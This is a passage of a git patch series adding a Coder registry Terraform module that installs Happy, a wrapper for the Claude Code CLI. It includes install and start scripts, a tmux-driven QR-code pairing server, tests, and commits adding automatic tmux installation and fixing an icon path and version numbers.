"/custom/icon.svg" + error_message = "Custom icon should be set" + } + + assert { + condition = resource.coder_app.happy.order == 5 + error_message = "Custom order should be set" + } + + assert { + condition = resource.coder_app.happy.group == "AI Tools" + error_message = "Custom group should be set" + } +} + +run "custom_scripts_configuration" { + command = plan + + variables { + agent_id = "test-agent" + pre_install_script = "#!/bin/bash\necho 'pre-install'" + post_install_script = "#!/bin/bash\necho 'post-install'" + } + + assert { + condition = var.pre_install_script != null + error_message = "Pre-install script should be set" + } + + assert { + condition = var.post_install_script != null + error_message = "Post-install script should be set" + } + + assert { + condition = can(regex("pre-install", var.pre_install_script)) + error_message = "Pre-install script should contain expected content" + } + + assert { + condition = can(regex("post-install", var.post_install_script)) + error_message = "Post-install script should contain expected content" + } +} + +run "install_disabled_configuration" { + command = plan + + variables { + agent_id = "test-agent" + install = false + } + + assert { + condition = var.install == false + error_message = "install should be disabled when specified" + } +} + +run "custom_tmux_session_configuration" { + command = plan + + variables { + agent_id = "test-agent" + tmux_session = "happy-custom" + } + + assert { + condition = var.tmux_session == "happy-custom" + error_message = "tmux_session should be set correctly" + } +} + +run "scripts_output_is_populated" { + command = plan + + variables { + agent_id = "test-agent" + } + + assert { + condition = length(output.scripts) > 0 + error_message = "scripts output should list at least the install and start scripts" + } +} diff --git a/registry/gojnimer6553/modules/happy/scripts/install.sh.tftpl b/registry/gojnimer6553/modules/happy/scripts/install.sh.tftpl new file mode 100644 index 000000000..c00efe1d0 --- /dev/null +++ b/registry/gojnimer6553/modules/happy/scripts/install.sh.tftpl @@ -0,0 +1,149 @@ +#!/bin/bash + +set -euo pipefail + +BOLD='\033[0;1m' + +command_exists() { + command -v "$1" > /dev/null 2>&1 +} + +ARG_INSTALL='${ARG_INSTALL}' +ARG_USE_CACHED='${ARG_USE_CACHED}' +ARG_VERSION='${ARG_VERSION}' +ARG_PACKAGE_MANAGER='${ARG_PACKAGE_MANAGER}' +ARG_REGISTRY_URL='${ARG_REGISTRY_URL}' +ARG_NODE_VERSION='${ARG_NODE_VERSION}' +ARG_MODULE_DIR_NAME='${ARG_MODULE_DIR_NAME}' +# Raw override only ("" means "no override"); the "$HOME"-based default is +# built below from a real shell variable, not embedded as literal "$HOME" +# text inside a double-quoted assignment of caller-supplied content -- see +# the comment on install_prefix_override in main.tf for why that matters. +ARG_INSTALL_PREFIX_OVERRIDE='${ARG_INSTALL_PREFIX_OVERRIDE}' + +if [ -n "$${ARG_INSTALL_PREFIX_OVERRIDE}" ]; then + INSTALL_PREFIX="$${ARG_INSTALL_PREFIX_OVERRIDE}" +else + INSTALL_PREFIX="$HOME/$${ARG_MODULE_DIR_NAME}/npm" +fi + +echo "--------------------------------" +printf "ARG_INSTALL: %s\n" "$${ARG_INSTALL}" +printf "ARG_USE_CACHED: %s\n" "$${ARG_USE_CACHED}" +printf "ARG_VERSION: %s\n" "$${ARG_VERSION}" +printf "ARG_PACKAGE_MANAGER: %s\n" "$${ARG_PACKAGE_MANAGER}" +printf "ARG_REGISTRY_URL: %s\n" "$${ARG_REGISTRY_URL}" +printf "ARG_NODE_VERSION: %s\n" "$${ARG_NODE_VERSION}" +printf "INSTALL_PREFIX: %s\n" "$INSTALL_PREFIX" +echo "--------------------------------" + +# The pairing page (started by start.sh) drives happy's interactive +# auth-method selector through a real pseudo-terminal, since happy has no +# non-interactive pairing path (it renders an Ink UI and calls into raw +# terminal mode). tmux is how that automation observes and drives it +# (send-keys/capture output); there's no portable static-binary fallback +# like Node's, so this is a hard prerequisite rather than something this +# script can bootstrap. +if ! command_exists tmux; then + echo "❌ tmux is required to run Happy (it drives happy's interactive pairing prompt through a real pseudo-terminal) but was not found on PATH. Add tmux to the workspace image." + exit 1 +fi + +if [ "$${ARG_INSTALL}" != "true" ]; then + echo "⏭️ install=false; skipping Happy installation." + exit 0 +fi + +# Happy (the "happy" npm package) is a Node.js application and needs a +# Node.js runtime. When the workspace image does not provide one, bootstrap +# a pinned runtime into $HOME so it persists across restarts. +ensure_node() { + if command_exists node; then + return 0 + fi + + local node_arch node_dir + case "$(uname -m)" in + x86_64 | amd64) node_arch="x64" ;; + aarch64 | arm64) node_arch="arm64" ;; + *) + echo "❌ node is required to run Happy but was not found on PATH, and automatic bootstrap does not support architecture '$(uname -m)'." + exit 1 + ;; + esac + + node_dir="$HOME/$${ARG_MODULE_DIR_NAME}/node/node-v$${ARG_NODE_VERSION}-linux-$${node_arch}" + if [ ! -x "$node_dir/bin/node" ]; then + echo "⚠️ node not found on PATH; bootstrapping Node.js v$${ARG_NODE_VERSION} into $node_dir..." + mkdir -p "$(dirname "$node_dir")" + if ! curl -fsSL "https://nodejs.org/dist/v$${ARG_NODE_VERSION}/node-v$${ARG_NODE_VERSION}-linux-$${node_arch}.tar.gz" | tar -xz -C "$(dirname "$node_dir")"; then + echo "❌ Failed to download Node.js v$${ARG_NODE_VERSION}. Happy cannot run without node." + exit 1 + fi + fi + + export PATH="$node_dir/bin:$PATH" + + # Expose node/npm to other workspace scripts and interactive shells. + if [ -n "$${CODER_SCRIPT_BIN_DIR:-}" ]; then + [ -e "$${CODER_SCRIPT_BIN_DIR}/node" ] || ln -s "$node_dir/bin/node" "$${CODER_SCRIPT_BIN_DIR}/node" + [ -e "$${CODER_SCRIPT_BIN_DIR}/npm" ] || ln -s "$node_dir/bin/npm" "$${CODER_SCRIPT_BIN_DIR}/npm" + fi +} + +ensure_node + +HAPPY_BIN="$INSTALL_PREFIX/node_modules/.bin/happy" + +if [ -x "$HAPPY_BIN" ] && [ "$${ARG_USE_CACHED}" = "true" ]; then + printf "%s\n" "🥳 Found a cached copy of Happy, skipping install (use_cached=true)" + "$HAPPY_BIN" --version || true + exit 0 +fi + +case "$${ARG_PACKAGE_MANAGER}" in + npm | pnpm | bun) ;; + *) + echo "❌ Unsupported package_manager '$${ARG_PACKAGE_MANAGER}'. Use 'npm', 'pnpm', or 'bun'." + exit 1 + ;; +esac + +if ! command_exists "$${ARG_PACKAGE_MANAGER}"; then + echo "❌ package_manager '$${ARG_PACKAGE_MANAGER}' was not found on PATH." + exit 1 +fi + +mkdir -p "$INSTALL_PREFIX" +cd "$INSTALL_PREFIX" +[ -f package.json ] || echo '{"private":true}' > package.json + +# "qrcode" renders the pairing link captured from happy's terminal output as +# a real scannable image for the pairing page (start.sh.tftpl / pairing +# server), instead of trying to re-parse happy's own ANSI QR art. +HAPPY_SPEC="happy@$${ARG_VERSION}" +QRCODE_SPEC="qrcode@1.5.4" + +# %s arguments, not a %-interpreted format string: HAPPY_SPEC embeds +# ARG_VERSION, a caller-supplied string that could contain a literal "%". +printf "%sInstalling Happy (%s) and qrcode via %s...\n" "$${BOLD}" "$${HAPPY_SPEC}" "$${ARG_PACKAGE_MANAGER}" + +case "$${ARG_PACKAGE_MANAGER}" in + npm) + npm install --no-audit --no-fund --registry "$${ARG_REGISTRY_URL}" "$${HAPPY_SPEC}" "$${QRCODE_SPEC}" + ;; + pnpm) + pnpm add --registry "$${ARG_REGISTRY_URL}" "$${HAPPY_SPEC}" "$${QRCODE_SPEC}" + ;; + bun) + bun add --registry "$${ARG_REGISTRY_URL}" "$${HAPPY_SPEC}" "$${QRCODE_SPEC}" + ;; +esac + +if [ ! -x "$HAPPY_BIN" ]; then + echo "❌ Could not locate the happy binary after install at $HAPPY_BIN" + exit 1 +fi + +printf "%s\n\n" "🥳 Happy has been installed to $INSTALL_PREFIX" +"$HAPPY_BIN" --version || true diff --git a/registry/gojnimer6553/modules/happy/scripts/start.sh.tftpl b/registry/gojnimer6553/modules/happy/scripts/start.sh.tftpl new file mode 100644 index 000000000..dba43680c --- /dev/null +++ b/registry/gojnimer6553/modules/happy/scripts/start.sh.tftpl @@ -0,0 +1,278 @@ +#!/bin/bash + +set -euo pipefail + +ARG_PORT='${ARG_PORT}' +ARG_TMUX_SESSION='${ARG_TMUX_SESSION}' +# module_directory is not caller-influenced (module_dir_name is a hardcoded +# constant in main.tf), so double-quoting it to expand its literal "$HOME" +# at runtime is safe. install_prefix/workdir are caller-supplied though -- +# see the comment on install_prefix_override in main.tf for why those are +# passed as raw overrides instead and built into a full path below using a +# real, un-interpolated shell variable rather than embedded "$HOME" text. +ARG_MODULE_DIRECTORY="${ARG_MODULE_DIRECTORY}" +ARG_INSTALL_PREFIX_OVERRIDE='${ARG_INSTALL_PREFIX_OVERRIDE}' +ARG_WORKDIR_OVERRIDE='${ARG_WORKDIR_OVERRIDE}' + +if [ -n "$${ARG_INSTALL_PREFIX_OVERRIDE}" ]; then + INSTALL_PREFIX="$${ARG_INSTALL_PREFIX_OVERRIDE}" +else + INSTALL_PREFIX="$${ARG_MODULE_DIRECTORY}/npm" +fi + +if [ -n "$${ARG_WORKDIR_OVERRIDE}" ]; then + WORKDIR="$${ARG_WORKDIR_OVERRIDE}" +else + WORKDIR="$HOME" +fi + +HAPPY_BIN="$INSTALL_PREFIX/node_modules/.bin/happy" +SCRIPTS_DIR="$${ARG_MODULE_DIRECTORY}/scripts" +LOG_PATH="$${ARG_MODULE_DIRECTORY}/logs/start.log" +PAIRING_LOG_PATH="$${ARG_MODULE_DIRECTORY}/logs/pairing.log" +SERVER_PATH="$SCRIPTS_DIR/pairing-server.js" + +if [ ! -x "$HAPPY_BIN" ]; then + echo "❌ happy binary not found at $HAPPY_BIN. Did the install script run and succeed?" + exit 1 +fi + +if ! command -v tmux > /dev/null 2>&1; then + echo "❌ tmux not found on PATH. Did the install script run and succeed?" + exit 1 +fi + +mkdir -p "$SCRIPTS_DIR" "$(dirname "$LOG_PATH")" +mkdir -p "$WORKDIR" +: > "$PAIRING_LOG_PATH" + +# Pairing server: on every request to "/" it forces a completely fresh +# pairing cycle (kill any previous happy session, clear credentials, relaunch, +# drive the interactive auth-method prompt via tmux, capture the resulting +# happy://terminal?... link, and render it as a real QR code). "/healthz" +# never triggers this -- it must stay side-effect-free since Coder polls it +# on an interval, and forcing a re-pair every few seconds would make the +# module unusable. Node-only (plus the "qrcode" package installed alongside +# happy): a Node runtime is already required to run Happy itself. +cat > "$SERVER_PATH" << 'EOF_SERVER' +"use strict"; +const http = require("http"); +const fs = require("fs"); +const { spawnSync } = require("child_process"); +const QRCode = require("qrcode"); + +const PORT = parseInt(process.env.PORT, 10); +const HAPPY_BIN = process.env.HAPPY_BIN; +const WORKDIR = process.env.WORKDIR; +const TMUX_SESSION = process.env.TMUX_SESSION; +const PAIRING_LOG_PATH = process.env.PAIRING_LOG_PATH; + +const PAIRING_URL_RE = /happy:\/\/terminal\?[A-Za-z0-9_-]+/; +const PROMPT_TEXT = "How would you like to authenticate?"; +const PROMPT_TIMEOUT_MS = 20000; +const PAIRING_URL_TIMEOUT_MS = 20000; +const POLL_INTERVAL_MS = 300; + +function shellQuote(value) { + return "'" + String(value).replace(/'/g, "'\\''") + "'"; +} + +// Polls the pane's *current* on-screen content, not the piped log file. +// "tmux pipe-pane" (attached separately, after the session already starts) +// only forwards output emitted after it attaches; if the wrapped process +// prints before that attach call lands, that output is lost from the log +// forever and a log-based wait hangs until it times out. capture-pane has +// no such race: it always returns whatever is presently on screen, +// regardless of when polling started. +function capturePane() { + const result = spawnSync("tmux", ["capture-pane", "-t", TMUX_SESSION, "-p", "-S", "-200"]); + return result.status === 0 ? String(result.stdout) : ""; +} + +function sessionAlive() { + const result = spawnSync("tmux", ["has-session", "-t", TMUX_SESSION]); + return result.status === 0; +} + +// Without this, a happy CLI crash/exit right after the prompt (the tmux +// session dies once its wrapped shell command finishes) would otherwise +// just look identical to "still starting" and wait out the full timeout +// before failing -- this fails fast instead, with the pane's last output +// attached so the real cause is visible immediately. +function waitFor(extract, timeoutMs, timeoutMessage) { + const deadline = Date.now() + timeoutMs; + return new Promise((resolve, reject) => { + const tick = () => { + const paneText = capturePane(); + const found = extract(paneText); + if (found) { + resolve(found); + return; + } + if (!sessionAlive()) { + reject( + new Error( + "Happy's tmux session exited before it finished pairing. Last output:\n" + paneText, + ), + ); + return; + } + if (Date.now() >= deadline) { + reject(new Error(timeoutMessage)); + return; + } + setTimeout(tick, POLL_INTERVAL_MS); + }; + tick(); + }); +} + +function startFreshPairingCycle() { + // Best-effort teardown of whatever was running before. + spawnSync("tmux", ["kill-session", "-t", TMUX_SESSION]); + fs.writeFileSync(PAIRING_LOG_PATH, ""); + + // "auth login --force" clears any existing credentials/machine ID and + // stops the daemon, then (since credentials are now gone) drives straight + // into the same interactive auth-method prompt as a first-ever pairing. + // Only once that finishes does "happy claude" run, at which point + // credentials already exist so it launches straight into the wrapped + // coding session with no further prompts. + const shellCommand = + "cd " + shellQuote(WORKDIR) + " && " + + shellQuote(HAPPY_BIN) + " auth login --force && " + + shellQuote(HAPPY_BIN) + " claude"; + + const spawned = spawnSync("tmux", [ + "new-session", "-d", "-s", TMUX_SESSION, "-x", "220", "-y", "50", + "bash", "-lc", shellCommand, + ]); + if (spawned.status !== 0) { + throw new Error( + "Failed to start tmux session: " + (spawned.stderr || spawned.error || "unknown error"), + ); + } + + spawnSync("tmux", ["pipe-pane", "-t", TMUX_SESSION, "-o", "cat >> " + shellQuote(PAIRING_LOG_PATH)]); +} + +async function runPairingCycle() { + startFreshPairingCycle(); + await waitFor( + (text) => text.includes(PROMPT_TEXT), + PROMPT_TIMEOUT_MS, + "Timed out waiting for Happy's auth-method prompt to appear", + ); + spawnSync("tmux", ["send-keys", "-t", TMUX_SESSION, "1"]); + const pairingUrl = await waitFor( + (text) => { + const match = PAIRING_URL_RE.exec(text); + return match ? match[0] : null; + }, + PAIRING_URL_TIMEOUT_MS, + "Timed out waiting for Happy to print a pairing link", + ); + // Detach the pipe once pairing itself is done: from here on "happy claude" + // runs the actual coding session, and there's no reason to keep mirroring + // that (potentially sensitive) transcript to a plaintext log file on top + // of it already living in the tmux scrollback. + spawnSync("tmux", ["pipe-pane", "-t", TMUX_SESSION]); + return pairingUrl; +} + +let inFlight = null; + +function getOrStartPairingCycle() { + if (!inFlight) { + inFlight = runPairingCycle().finally(() => { + inFlight = null; + }); + } + return inFlight; +} + +function escapeHtml(value) { + return String(value).replace(/[&<>"']/g, (c) => ( + { "&": "&", "<": "<", ">": ">", '"': """, "'": "'" }[c] + )); +} + +function htmlPage(bodyHtml, refreshSeconds) { + return ( + "" + + (refreshSeconds ? "" : "") + + "Happy Pairing" + bodyHtml + "" + ); +} + +async function renderQrPage(pairingUrl) { + const qrDataUrl = await QRCode.toDataURL(pairingUrl, { margin: 2, width: 280 }); + return htmlPage( + "

Scan to pair Happy

" + + "\"Happy" + + "

Or open this link on your phone:

" + + "" + escapeHtml(pairingUrl) + "" + + "

This link is single-use and was just generated for this click. " + + "Re-opening this app mints a new one and disconnects any device already paired.

", + 0, + ); +} + +function renderErrorPage(message) { + return htmlPage( + "

Something went wrong

" + escapeHtml(message) + "

" + + "

Reload this page to try again.

", + 5, + ); +} + +const server = http.createServer((req, res) => { + if (req.method === "GET" && req.url === "/healthz") { + res.writeHead(200, { "Content-Type": "text/plain" }); + res.end("ok"); + return; + } + + // Only an actual "GET /" click should trigger a destructive re-pair. + // Without this, incidental requests a browser makes on its own (e.g. + // "/favicon.ico") would each kill and restart the pairing cycle too. + if (req.method !== "GET" || req.url !== "/") { + res.writeHead(404, { "Content-Type": "text/plain" }); + res.end("not found"); + return; + } + + getOrStartPairingCycle() + .then((url) => renderQrPage(url)) + .then((html) => { + res.writeHead(200, { "Content-Type": "text/html; charset=utf-8" }); + res.end(html); + }) + .catch((err) => { + res.writeHead(200, { "Content-Type": "text/html; charset=utf-8" }); + res.end(renderErrorPage(err && err.message ? err.message : String(err))); + }); +}); + +server.listen(PORT, "127.0.0.1"); +EOF_SERVER + +echo "🚀 Starting the Happy pairing server on port $${ARG_PORT}..." + +nohup env \ + HAPPY_BIN="$HAPPY_BIN" \ + PORT="$${ARG_PORT}" \ + WORKDIR="$WORKDIR" \ + TMUX_SESSION="$${ARG_TMUX_SESSION}" \ + PAIRING_LOG_PATH="$PAIRING_LOG_PATH" \ + NODE_PATH="$INSTALL_PREFIX/node_modules" \ + node "$SERVER_PATH" >> "$LOG_PATH" 2>&1 & +disown + +echo "Happy pairing server started (pid $!). Logs: $LOG_PATH" +echo "ℹ️ Open the Happy app to get a QR code / pairing link. Every open mints a fresh one and disconnects any previously paired device." From fbb72f5d0ce1ea61aa8ea065b5bad8a721e741be Mon Sep 17 00:00:00 2001 From: Guilherme Nimer Kovalek Gojlevicius Date: Wed, 5 Aug 2026 06:09:34 +0000 Subject: [PATCH 2/3] feat(gojnimer6553): auto-install tmux for the happy module when missing Best-effort installs tmux via the workspace's system package manager (apt-get/dnf/yum/apk/pacman) when running as root or with passwordless sudo, since tmux has no official portable static binary like Node does. Falls back to a clear error when neither privilege path is available. Co-Authored-By: Claude Sonnet 5 --- registry/gojnimer6553/modules/happy/README.md | 6 +-- .../gojnimer6553/modules/happy/main.test.ts | 45 ++++++++++++++-- .../modules/happy/scripts/install.sh.tftpl | 52 ++++++++++++++++--- 3 files changed, 90 insertions(+), 13 deletions(-) diff --git a/registry/gojnimer6553/modules/happy/README.md b/registry/gojnimer6553/modules/happy/README.md index d6f184a59..b0f5b3358 100644 --- a/registry/gojnimer6553/modules/happy/README.md +++ b/registry/gojnimer6553/modules/happy/README.md @@ -22,7 +22,7 @@ module "happy" { ``` > [!IMPORTANT] -> Install and authenticate [Claude Code](https://claude.com/product/claude-code) in the workspace image before using Happy (`claude auth login`) — Happy wraps the `claude` CLI, it doesn't replace it. The workspace image must also have **tmux** installed (see [Notes](#notes)). +> Install and authenticate [Claude Code](https://claude.com/product/claude-code) in the workspace image before using Happy (`claude auth login`) — Happy wraps the `claude` CLI, it doesn't replace it. Happy also needs **tmux** (see [Notes](#notes) — installed automatically in most workspaces, but not guaranteed). ## How pairing works @@ -92,6 +92,6 @@ module "happy" { ## Notes -- **Requires `tmux`** in the workspace image. Happy's pairing prompt and the wrapped `claude` session both need a real terminal (Ink UI, raw-mode stdin) — there's no headless/non-interactive path, so this module drives it through a real pseudo-terminal via `tmux`. Unlike Node, tmux has no portable static-binary fallback this module can bootstrap automatically; add it to your Dockerfile/image (e.g. `apt-get install -y tmux`). +- **Requires `tmux`.** Happy's pairing prompt and the wrapped `claude` session both need a real terminal (Ink UI, raw-mode stdin) — there's no headless/non-interactive path, so this module drives it through a real pseudo-terminal via `tmux`. If `tmux` isn't already on `PATH`, the install script installs it automatically via the workspace's system package manager (`apt-get`/`dnf`/`yum`/`apk`/`pacman`) when running as root or with passwordless `sudo`; otherwise it fails with a clear message. For reproducible builds (or if the workspace has neither root nor passwordless `sudo`), add it to your Dockerfile/image instead (e.g. `apt-get install -y tmux`). - Pairing requires outbound network access to Happy's hosted service (`api.cluster-fluster.com` / `app.happy.engineering` by default) — there's no offline pairing path. -- Happy has no `engines` requirement pinned in its `package.json`; its docs recommend Node.js >= 20. If `node` is not already on `PATH`, the install script bootstraps a pinned Node.js runtime under `$HOME/.local/share/coder-happy/` automatically; override the version with `node_version` if needed. +- Happy has no `engines` requirement pinned in its `package.json`; its docs recommend Node.js >= 20. If `node` is not already on `PATH`, the install script bootstraps a pinned Node.js runtime under this module's data directory automatically; override the version with `node_version` if needed. diff --git a/registry/gojnimer6553/modules/happy/main.test.ts b/registry/gojnimer6553/modules/happy/main.test.ts index 864f02050..db70ed709 100644 --- a/registry/gojnimer6553/modules/happy/main.test.ts +++ b/registry/gojnimer6553/modules/happy/main.test.ts @@ -195,21 +195,60 @@ describe("happy", async () => { } }); - it("fails install with a clear error when tmux is missing", async () => { + it("auto-installs tmux via the system package manager when missing", async () => { const state = await runTerraformApply(import.meta.dir, { agent_id: "foo", + install: false, }); const { install } = collectScripts(state); const id = await runContainer("alpine/curl"); try { await writeCoder(id, "#!/bin/sh\nexit 0\n"); - // Deliberately no tmux here. + // Deliberately no tmux here -- running as root (this image's default + // user), so no sudo is needed for the install script's apk fallback. await execContainer(id, ["sh", "-c", "apk add --no-cache bash"]); const output = await execContainer(id, ["bash", "-c", install]); + expect(output.exitCode).toBe(0); + expect(output.stdout).toContain("tmux not found on PATH; attempting"); + expect(output.stdout).toContain("tmux installed automatically"); + + const tmuxCheck = await execContainer(id, [ + "bash", + "-c", + "command -v tmux", + ]); + expect(tmuxCheck.exitCode).toBe(0); + } finally { + await removeContainer(id); + } + }); + + it("fails install with a clear error when tmux is missing and neither root nor sudo is available", async () => { + const state = await runTerraformApply(import.meta.dir, { + agent_id: "foo", + install: false, + }); + const { install } = collectScripts(state); + + const id = await runContainer("node:22-bookworm-slim"); + try { + await writeCoder(id, "#!/bin/bash\nexit 0\n"); + // A real (non-root, sudo-less) user with a proper writable $HOME -- + // "nobody"'s $HOME is the unwritable "/nonexistent", which breaks + // coder-utils' own log-directory setup before this module's install + // script even runs. The install script should detect it has no way + // to gain privileges and fail fast, rather than let apt-get itself + // fail with a confusing permissions error. + await execContainer(id, ["useradd", "-m", "testuser"]); + const output = await execContainer( + id, + ["bash", "-c", install], + ["-u", "testuser"], + ); expect(output.exitCode).not.toBe(0); - expect(output.stdout).toContain("tmux is required"); + expect(output.stdout).toContain("neither root nor passwordless sudo"); } finally { await removeContainer(id); } diff --git a/registry/gojnimer6553/modules/happy/scripts/install.sh.tftpl b/registry/gojnimer6553/modules/happy/scripts/install.sh.tftpl index c00efe1d0..f32828bc2 100644 --- a/registry/gojnimer6553/modules/happy/scripts/install.sh.tftpl +++ b/registry/gojnimer6553/modules/happy/scripts/install.sh.tftpl @@ -41,13 +41,51 @@ echo "--------------------------------" # auth-method selector through a real pseudo-terminal, since happy has no # non-interactive pairing path (it renders an Ink UI and calls into raw # terminal mode). tmux is how that automation observes and drives it -# (send-keys/capture output); there's no portable static-binary fallback -# like Node's, so this is a hard prerequisite rather than something this -# script can bootstrap. -if ! command_exists tmux; then - echo "❌ tmux is required to run Happy (it drives happy's interactive pairing prompt through a real pseudo-terminal) but was not found on PATH. Add tmux to the workspace image." - exit 1 -fi +# (send-keys/capture output). Unlike Node, tmux has no official portable +# static binary this script can drop into $HOME without privileges -- it +# links against system libraries (libevent, ncurses) via the platform's +# package manager. Best-effort install it that way when root or passwordless +# sudo is available; otherwise fail with a clear message instead of a +# confusing mid-script permissions error. +ensure_tmux() { + if command_exists tmux; then + return 0 + fi + + echo "⚠️ tmux not found on PATH; attempting to install it..." + + local as_root="" + if [ "$(id -u)" != "0" ]; then + if command_exists sudo && sudo -n true > /dev/null 2>&1; then + as_root="sudo -n" + else + echo "❌ tmux is required to run Happy (it drives happy's interactive pairing prompt through a real pseudo-terminal) but was not found on PATH, and this workspace has neither root nor passwordless sudo to install it automatically. Add tmux to the workspace image." + exit 1 + fi + fi + + if command_exists apt-get; then + $as_root apt-get update -qq || true + $as_root apt-get install -y -qq tmux || true + elif command_exists dnf; then + $as_root dnf install -y -q tmux || true + elif command_exists yum; then + $as_root yum install -y -q tmux || true + elif command_exists apk; then + $as_root apk add --no-cache tmux || true + elif command_exists pacman; then + $as_root pacman -Sy --noconfirm tmux || true + fi + + if ! command_exists tmux; then + echo "❌ tmux is required to run Happy (it drives happy's interactive pairing prompt through a real pseudo-terminal) but was not found on PATH, and automatic installation failed (no supported package manager found, or the install itself failed). Add tmux to the workspace image manually." + exit 1 + fi + + echo "✅ tmux installed automatically." +} + +ensure_tmux if [ "$${ARG_INSTALL}" != "true" ]; then echo "⏭️ install=false; skipping Happy installation." From aefad0d138f6bde1a45a9eef831d1a61b314b7a9 Mon Sep 17 00:00:00 2001 From: Guilherme Nimer Kovalek Gojlevicius Date: Wed, 5 Aug 2026 06:27:27 +0000 Subject: [PATCH 3/3] fix(gojnimer6553): align happy module icon and version with registry convention Reverts the icon default to /icon/happy.svg -- every module in the registry uses this Coder-served path for coder_app/coder_script icons, even when the icon isn't yet in Coder's built-in bundle (it will show broken here until Coder adds it, same as the sibling t3code module). A personal fork URL was an unprecedented, non-durable stopgap. Also fixes README usage examples to start at version 0.0.1, matching how other first-time module submissions are versioned (e.g. matifali/omnigent, coder/agent-firewall), not 1.0.0. Co-Authored-By: Claude Sonnet 5 --- registry/gojnimer6553/modules/happy/README.md | 10 +++++----- registry/gojnimer6553/modules/happy/main.tf | 9 +-------- 2 files changed, 6 insertions(+), 13 deletions(-) diff --git a/registry/gojnimer6553/modules/happy/README.md b/registry/gojnimer6553/modules/happy/README.md index b0f5b3358..a3641dfb2 100644 --- a/registry/gojnimer6553/modules/happy/README.md +++ b/registry/gojnimer6553/modules/happy/README.md @@ -16,7 +16,7 @@ Happy wraps `claude` with `happy claude` so you can check on, and take control o module "happy" { count = data.coder_workspace.me.start_count source = "registry.coder.com/gojnimer6553/happy/coder" - version = "1.0.0" + version = "0.0.1" agent_id = coder_agent.main.id } ``` @@ -47,7 +47,7 @@ Because of that "every click re-pairs" behavior, keep `share` at its default (`" module "happy" { count = data.coder_workspace.me.start_count source = "registry.coder.com/gojnimer6553/happy/coder" - version = "1.0.0" + version = "0.0.1" agent_id = coder_agent.main.id workdir = "/home/coder/project" } @@ -59,7 +59,7 @@ module "happy" { module "happy" { count = data.coder_workspace.me.start_count source = "registry.coder.com/gojnimer6553/happy/coder" - version = "1.0.0" + version = "0.0.1" agent_id = coder_agent.main.id install_version = "1.2.0" } @@ -71,7 +71,7 @@ module "happy" { module "happy" { count = data.coder_workspace.me.start_count source = "registry.coder.com/gojnimer6553/happy/coder" - version = "1.0.0" + version = "0.0.1" agent_id = coder_agent.main.id package_manager = "bun" } @@ -83,7 +83,7 @@ module "happy" { module "happy" { count = data.coder_workspace.me.start_count source = "registry.coder.com/gojnimer6553/happy/coder" - version = "1.0.0" + version = "0.0.1" agent_id = coder_agent.main.id install = false install_prefix = "/opt/happy" diff --git a/registry/gojnimer6553/modules/happy/main.tf b/registry/gojnimer6553/modules/happy/main.tf index b7a6d046a..dd50d9833 100644 --- a/registry/gojnimer6553/modules/happy/main.tf +++ b/registry/gojnimer6553/modules/happy/main.tf @@ -17,14 +17,7 @@ variable "agent_id" { variable "icon" { description = "The icon to use for the app." type = string - # Not "/icon/happy.svg": that path is served from Coder's own built-in - # icon bundle (independent of this repo's .icons/ directory, which is only - # used to render the registry website), and happy isn't in it -- pointing - # there renders a broken image on the coder_app tile. Pinned to this fork - # branch for now so it resolves immediately; switch to - # "https://raw.githubusercontent.com/coder/registry/main/.icons/happy.svg" - # once this module is merged upstream. - default = "https://raw.githubusercontent.com/gojnimer6553/registry/add-happy-module/.icons/happy.svg" + default = "/icon/happy.svg" } variable "slug" {